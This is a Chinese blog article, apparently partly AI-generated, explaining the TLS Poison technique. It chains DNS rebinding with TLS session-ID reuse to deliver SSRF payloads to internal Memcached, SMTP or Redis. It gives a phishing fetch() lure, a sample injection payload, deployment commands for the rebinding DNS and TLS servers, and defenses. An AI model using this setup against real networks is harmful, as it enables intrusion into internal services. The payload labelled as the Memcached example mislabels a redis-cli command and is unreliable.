TLS Poison核心原理解析:从DNS重绑定到会话劫持的完整路径 📅 2026/7/27 18:46:36 TLS Poison核心原理解析从DNS重绑定到会话劫持的完整路径【免费下载链接】TLS-poison项目地址: https://gitcode.com/gh_mirrors/tl/TLS-poisonTLS Poison是一款利用TLS固有行为实现通用SSRF和CSRF攻击的工具其核心原理不同于依赖特定实现漏洞的SNI注入技术而是通过DNS重绑定与TLS会话持久化的组合构建从外部诱导到内部服务劫持的完整攻击路径。攻击原理TLS会话劫持的黄金三角 ⚠️TLS Poison的攻击链由三个关键技术组件构成1. DNS重绑定突破同源策略的第一道防线攻击者控制的DNS服务器会动态切换目标域名解析结果初始阶段解析为恶意TLS服务器IP如35.x.x.x攻击阶段快速切换为本地IP如127.0.0.1这种切换利用DNS TTL0的特性实现使客户端在短时间内重新查询域名时获得完全不同的IP地址。相关实现可见client-hello-poisoning/custom-dns/alternate-dns.py中的DNS响应逻辑。2. TLS会话持久化隐藏攻击载荷的秘密通道当客户端首次连接恶意TLS服务器时服务器生成包含攻击载荷的session_id客户端缓存该会话信息用于后续重连关键实现位于rustls/src/server/hs.rs中的会话管理代码通过精心构造的Server Hello消息将攻击指令编码到会话ID中。3. 协议混淆将TLS流量转化为攻击指令攻击载荷被设计为目标服务的协议格式针对Memcached构造set命令注入缓存数据针对SMTP生成邮件发送指令针对Redis构建数据库操作命令典型的Memcached攻击载荷示例redis-cli 127.0.0.1:6379 set payload \r\nset foo 0 0 14\r\nim in ur cache \r攻击流程图解从诱导到劫持的完整路径图TLS Poison利用DNS重绑定和会话劫持实现SSRF的完整流程攻击时序解析诱导阶段钓鱼页面通过fetch(https://ssltest.example.com:11211)诱导客户端发起请求初始解析DNS服务器返回恶意TLS服务器IP会话种植TLS服务器返回含攻击载荷的session_idPayload NDNS切换再次查询时返回127.0.0.1载荷投递客户端使用缓存的会话ID连接本地服务将TLS会话ID作为攻击指令投递环境部署搭建TLS Poison攻击平台 ️1. TLS服务器部署# 安装依赖 sudo apt install git redis git clone https://gitcode.com/gh_mirrors/tl/TLS-poison # 安装Rust环境 curl --proto https --tlsv1.2 -sSf https://sh.rustup.rs | sh cd TLS-poison/client-hello-poisoning/custom-tls # 编译自定义TLS服务器 cargo build # 启动服务器使用测试证书 target/debug/custom-tls -p 8443 --verbose --certs ../../rustls/test-ca/rsa/end.fullchain --key ../../rustls/test-ca/rsa/end.rsa http2. DNS重绑定服务器配置sudo apt install python3 python3-pip cd TLS-poison/client-hello-poisoning/custom-dns pip3 install -r requirements.txt # 启动DNS服务器替换$DOMAIN和$IP参数 sudo python3 alternate-dns.py $DOMAIN,$TARGET_IP -b 0.0.0.0 -t $INITIAL_IP -d 8.8.8.83. 域名与证书配置需配置NS记录指向重绑定服务器dns.example.com A 300 DNS_IP tlstest.example.com NS 300 dns.example.com使用Certbot获取合法TLS证书后重启服务器target/debug/custom-tls -p 8443 --verbose --certs letsencrypt-cert.fullchain --key letsencrypt-key.rsa http防御策略保护系统免受TLS Poison攻击 ️限制DNS缓存时间在内部网络设置较短的DNS缓存TTL禁用TLS会话复用在关键服务中关闭TLS会话恢复功能端口访问控制限制Web服务器对内部服务端口的访问权限流量检测监控异常TLS会话ID和包含协议命令的网络流量TLS Poison展示了现代网络协议中潜在的设计缺陷通过组合DNS和TLS的正常行为实现了看似不可能的跨域攻击。理解其原理不仅有助于防御此类攻击更能启发安全研究者重新审视现有协议的安全边界。【免费下载链接】TLS-poison项目地址: https://gitcode.com/gh_mirrors/tl/TLS-poison创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考